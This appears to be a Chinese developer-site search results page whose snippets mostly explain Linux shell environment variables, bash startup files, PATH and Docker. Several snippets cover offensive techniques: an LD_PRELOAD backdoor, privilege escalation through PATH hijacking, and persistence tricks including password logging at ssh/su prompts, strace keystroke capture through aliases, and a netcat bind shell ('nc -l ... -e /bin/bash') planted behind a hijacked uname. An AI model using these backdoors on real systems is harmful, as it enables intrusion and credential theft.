首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

shell基础教程4-变量详细讲解

环境变量可以在命令行中设置和创建,但用户退出命令行时这些变量值就会丢失,如果希望 永久保存 环境变量,可在用户 家目录.bash_profile.bashrc(非用户登录模式特有,如远程SSH)...文件中,或者全局配置/etc/bashrc(非用户登录模式特有,如远程SSH /etc/profile 文件中定义。...通常环境变量被定义并保存在用户家目录.bash_profile文件全局配置文件/etc/profile中。...其中set -o会显示bash shell所有参数配置信息。 env命令只会显示全局变量。 declare命令会输出所有的变量、函数、整数和已经导出变量。...profile文件后,才会执行/etc/profile.d/目录脚本文件,这个目录脚本文件有很多; 之后bash 检查家目录$HOME下文件.bash_profile (用户环境变量文件)是否存在

65520
您找到你想要的搜索结果了吗?
是的
没有找到

如何管理你 Linux 环境变量

Linux 环境设置来自一系列文件:一些是系统范围(意味着它们影响所有用户账户),一些是处于你目录配置文件里。...# 如果有 ~/.bash_profile ~/.bash_login 就不会读此文件 ~/.bash_profile ~/.bash_login 你可以修改本地存在四个文件任何一个,因为它们处于你目录...games:/usr/local/games:/snap/bin LESSOPEN=| /usr/bin/lesspipe %s _=/usr/bin/env 虽然你可能会看到大量输出,上面显示第一大部分用于在命令行上使用颜色标识各种文件类型...当你看到类似 *.tar=01;31: 这样东西,这告诉你 tar 文件将以红色显示文件列表中,然而 *.jpg=01;35: 告诉你 jpg 文件将以紫色显现出来。...小结 用户账户是用一组恰当启动文件设立,创建了一个有用用户环境,而个人用户和系统管理员都可以通过编辑他们个人设置文件(对于用户)很多来自设置起源文件(对于系统管理员)来更改默认设置。

88740

Shell脚本攻略02-玩转变量与环境变量

[root@entel1 ~]# env HOSTNAME=entel1 TERM=xterm SHELL=/bin/bash HISTSIZE=1000 .......省略 对于进程来说,其运行环境变量可以使用下面的命令来查看...usr/sbin:/usr/bin:/root/bin 在给出所要执行命令后, shell会自动在PATH环境变量所包含目录列表中(各目录路径之间以冒号分隔)查找对应可执行文件。...例如PATH、LD_LIBRARY_PATH,它们通常看起来像这样: PATH=/usr/bin;/bin LD_LIBRARY_PATH=/usr/lib;/lib 这意味着只要shell需要运行二进制可执行文件时...假设我们要将myapp安装到/opt/myapp,它二进制文件bin目录中,库文件在lib目录中。...现在看起来应该像这样: PATH=/opt/myapp/bin:/usr/bin:/bin LD_LIBRARY_PATH=/opt/myapp/lib:/usr/lib;/lib 不过我们可以把下面的函数加入

91810

Ububtu18.04安装Hadoop3.1.3全分布集群-持续更新问题集

/bin/env: "bash": 没有那个文件目录 问题2:Cannot set priority of namenode process 15335 摘要 本文主要基于Ububtu18.04完成Hadoop3.1.3...:$HADOOP_HOME/sbin:$PATH 编辑Hadoop目录目录etc/Hadoop目录文件Hadoop-env.sh文件: 将JAVA_HOME设为jdk所在绝对路径(否则运行时可能会出现找不到情况.../bin/env: “bash”: 没有那个文件目录 需要注意是,执行前,查看自己环境变量是否设置正确 Starting secondary namenodes [master] master:.../usr/bin/env: "bash": 没有那个文件目录 hadoop@master:~/opt/app/hadoop$ ls -l `which sh` lrwxrwxrwx 1 root root...bin/sh.distrib 正在添加 bash 导致 /bin/sh 转移到 /bin/sh.distrib 正在删除 dash 导致 /usr/share/man/man1/sh.1.gz 转移到

1.5K30

Linux中创建自己MOTD

其实目的很简单,是提示进入系统用户注意事项,提示系统运行概要信息让用户更好了解系统。在Linux系统要实现自己MOTD,首先需要认识/etc/motd文件。  ...本地登录时显示系统当前一些信息)。...在RHEL/CentOS中不可能实现像在Debian/Ubuntu中这样功能,因为RHEL/CentOS并没有提供与之相关任何脚本。...我们可以通过环境变量文件,如/etc/profile、/etc/bashrc等,将需要执行命令脚本添加到这些文件末尾,这样当每次用户登陆时,系统就会读取这些文件,执行文件里定义好脚本。...小结: /etc/motd文件可实现静态MOTD内容;动态MOTD需通过脚本在linux用户登录bash配置文件执行,Ubuntu中提供了/etc/update-motd.d/目录来实现动态MOTD。

4.4K41

LD_PRELOAD 后门 | bypass disable_functions

劫持失败原因 虽然我进行函数劫持过程中没遇到这个问题,不过也在这里记录一下吧,以后如果遇到劫持失败情况也可以做一个可能性参考情况 里面是作者ltrace 显示pwd有执行put函数但是运行pwd却没有劫持成功..., 但运行/bin/pwd/usr/bin/pwd却成功执行代码分析原因 这个发现过程看起来有点精彩:https://cloud.tencent.com/developer/article/1835020...总的来说就是: 执行pwd不会执行payload 执行/bin/pwd/usr/bin/pwd就会执行payload cd pwd 这些内置命令执行时候不会加载外部共享库,也就是不会去加载我们...hook.so ,更不会劫持 puts 函数 其实 bash 怕像cd pwd 这种命令 /bin 目录二进制文件在不同系统中存在差异,所以自己集成了cd pwd 等命令 bash 内置命令一般有两个原因...,但是我自己使用which 查看我当前默认使用pwd命令就是/usr/bin/pwd, 所以劫持函数正常运行 一些其他命令 查看命令调用库函数 readelf -Ws /usr/bin/ls #查看

80540

从npm、npx说起,到shell

后面就是脚本解释器位置,Bash 脚本解释器一般是/bin/sh/bin/bash。 #!/bin/sh # 或者 #!/bin/bash #!与脚本解释器之间有没有空格,都是可以。...如果 Bash 解释器不放在目录/bin,脚本就无法执行了。为了保险,可以写成下面这样: #!/usr/bin/env bash # node 脚本 #!/usr/bin/env node #!...错误处理 如果脚本里面有运行失败命令(返回值非0),Bash 默认会继续执行后面的命令(只是显示错误,并没有终止执行)。 这种行为很不利于脚本安全和除错。.../usr/bin/env bash set -euxo set -u:遇到不存在变量就会报错,并停止执行(默认忽略跳过) set -x:在运行结果之前,先输出执行那一行命令(默认情况下,脚本执行后,...屏幕只显示运行结果,没有其他内容) set -e:使得脚本只要发生错误,就终止执行(彻底解决上述「错误处理」;不适用于管道命令) set -o:只要一个子命令失败,整个管道命令就失败,脚本就会终止执行

3.8K20

Linux Shell(一)——Shell变量

1.1 常见环境变量 系统提供了一些默认环境变量,如下: HOME:用户主目录 当我们使用cd cd ~时就会调用这个环境变量找到用户主目录。...SHELL:当前使用SHELL HISTSIZE:历史命令最大条数 MAIL:当前用户邮箱目录 PATH:可执行文件查找路径。...若变量值中包含命令的话,可以使用反单引号$(命令)包裹命令,这样命令就会原样执行,如: currentPath="current path is : $(pwd)" echo $currentPath...他会把系统中所有的环境变量都数出来,如下所示: [root@iZ28st035lsZ ~]# env TERM=xterm-256color SHELL=/bin/bash CATALINA_HOME=...:/usr/jdk/bin:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin:/root/bin 3.1.2 查看环境变量 与 自定义变量

12K70

一文吃透Linux提权

env set 路径(Path) 如果您对该变量内任何文件夹都具有写权限,则可以劫持某些库二进制文件: PATH echo $ PATH 有打印机吗?...当将同一目录共享给多个客户机,但对每个客户机提供权限不同时,可以这样:[共享目录] [主机名1IP1(参数1,参数2)] [主机名2IP2(参数3,参数4)] ?...[—no-headers] [—help] [—version] [host] -a—all 以 host:dir 这样格式来显示客户主机名和挂载点目录。...-d—directories 仅显示被客户挂载目录名。 -e—exports 显示NFS服务器输出清单。 -h—help 显示帮助信息。...那么我们将能够执行当前目录任何脚本二进制文件。 假设小明是管理员,而她添加了“。” 在她PATH上,这样她就不必再输入两个字符了去执行脚本二进制文件。 带“。”

5.4K42

SSH集群登录、文件同步分发、同步执行脚本

Server2 ls /usr/local/tan/test/ demo.txt test.txt 三、同步执行脚本 1、SSH远程执行命令找不到环境变量问题 通过SSH执行远程主机命令脚本时,...但是,如果通过SSH登录远程主机,然后再执行相同命令脚本,那么此时执行又是成功。两种相似的方法,得到结果却不同,根本原因在于这两种方式使用bash模式不同。...interactive意为交互式,这也很好理解,interactive shell会有一个输入提示符,并且它标准输入、输出和错误输出都会显示在控制台上。...~/.bash_login ~/.profile (2)通过SSH直接执行远程命令和脚本 这种方式会使用Bashnon-interactive + non-login shell模式,它会创建一个...Bash通过BASH_ENV环境变量来记录要加载文件,默认情况下这个环境变量并没有设置。如果有指定文件,那么Shell会先去加载这个文件里面的内容,然后再开始执行Shell脚本。

1.1K10

Docker 学习总结

docker run 命令会从 image 文件生成一个正在运行容器实例,若发现本地没有指定 image 文件,就会从 Docker Hub 仓库自动抓取。...,允许对容器内标准输入(STDIN)进行交互 $ docker run -it ubuntu /bin/bash # 可以通过运行exit命令或者使用 CTRL+D 来退出容器 输出提示以后,hello.... $ docker image ls 6.5 使用新镜像运行容器 # -p 将容器3000端口映射为本机3333端口 # /bin/bash 容器启动后执行第一个命令,会覆盖文件中配置CMD...方式相似,即是会覆盖容器内已存在目录文件,但并不会改变容器内原有的文件,当umount后容器内原有的文件就会还原。...如果源文件/目录不存在,不会自动创建,会抛出一个错误;如果挂载目标在容器中为非空目录,则该目录现有内容将被隐藏。

3K87

学习笔记0402----shell基础知识

然而在计算机早期并没有图形界面,我们只能通过一个一个地命令来控制计算机,这些命令有成百上千之多,且不说记住这些命令非常困难,每天面对没有任何色彩“黑屏”本身就是一件枯燥事情;这个时候计算机还远远谈不上炫酷和普及.../local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/root/bin PWD=/root/ceshi LANG=zh_CN.UTF-8 SELINUX_LEVEL_REQUESTED..._=/usr/bin/env OLDPWD=/root [root@linux-01 ceshi]# 6.2 变量命名规则 Shell变量命名规则 变量名必须是以字母下划线字符“_”开头,后面跟字母...时, 首先启动 /etc/profile文件 然后再启动用户目录 ~/.bash_profile、 /.bash_login/.profile文件其中一个,执行顺序为:~/.bash_profile.../filename执行脚本是没有区别得。./filename是因为当前目录没有在PATH中,所有"."是用来表示当前目录

70150

性能环境之docker操作指南6(全网最全)

实例 下面我们创建一个可以ssh镜像: 1.启动一个容器: $ docker run -i -t ubuntu:16.04 /bin/bash 2.启动成功后,登录容器,执行所需要操作: root@...run -d -p 50022:22 ubuntusshd /usr/sbin/sshd –D ubuntu容器内运行SSH Server占用22端口,对外为50022端口。...如果源文件是个目录,则将该目录所有文件复制到,但不包括该目录。 COPY 格式为 COPY 。 复制本地主机(为Dockerfile所在目录相对路径)到容器中。...如果源文件是个目录,则将该目录所有文件复制到,但不包括该目录。 当使用本地目录为源目录时,推荐使用 COPY 。...创建一个可以从本地主机其他容器挂载挂载点,一般用来存放数据库和需要保持数据等。 USER 格式为 USER daemon 。 指定运行容器时用户名UID,后续 RUN 也会使用指定用户。

72420

Linux权限维持|内网渗透学习(十二)

这个子进程没有什么检验, 而是直接执行系统默认位置/usr/sbin/sshd, 这样子控制权又回到脚本了, 此时子进程标准输入输出已被重定向到套接字getpeername能真的获取到客户端TCP...通过上面修改之后当进行ssh链接或者su切换用户, 在输入密码时候, 不论正确错误都会被记录到log文件中, 从而获取管理员更多账号密码 ssh隐身登录 查看登录状态和记录 w 记录着当前打开连接状态.../bin/back Alias 后门 通过alias来指定执行特定命令时候静默运行其他程序·从而达到后动后门·记录键值等作用· 修改ssh命令·利用strace·使其具有记录ssh对read,write.../node/v16.13.0/bin /usr/local/sbin /usr/local/bin /usr/sbin /usr/bin /sbin /bin /snap/bin 可以看到在第五步之前四个目录都是没有索索结果.../bin/bash nc -l -v -p 4444 -e /bin/bash 2>/dev/null &/bin/uname $@ 其他可执行程序也可以尝试通过这种方式进行劫持, 是否成功取决于原可执行文件所在目录之前其他

1K32

关于SSH远程执行命令和环境变量问题

在利用Pycharm进行远程调试过程中,在配置好远程解释器后,运行代码是通过SSH直接执行方式,远程进行命令和脚本调试。...假设我们运行时出现找不到动态链接库问题: ssh://oldpan@176.32.12.18:22/home/oldpan/anaconda3/envs/pytorch/bin/python -u /.../bin/python 这个任务不是在登录Linux系统时启动(比如你在命令行提示符上输入bash启动),因此不会执行/etc/profile文件,而会去用户HOME目录检查.bashrc并加载。...系统执行Shell脚本时候,就是属于这种non-interactive shell。Bash通过BASH_ENV环境变量来记录要加载文件,默认情况下这个环境变量并没有设置。...interactive意为交互式,这也很好理解,interactive shell会有一个输入提示符,并且它标准输入、输出和错误输出都会显示在控制台上。

79740
领券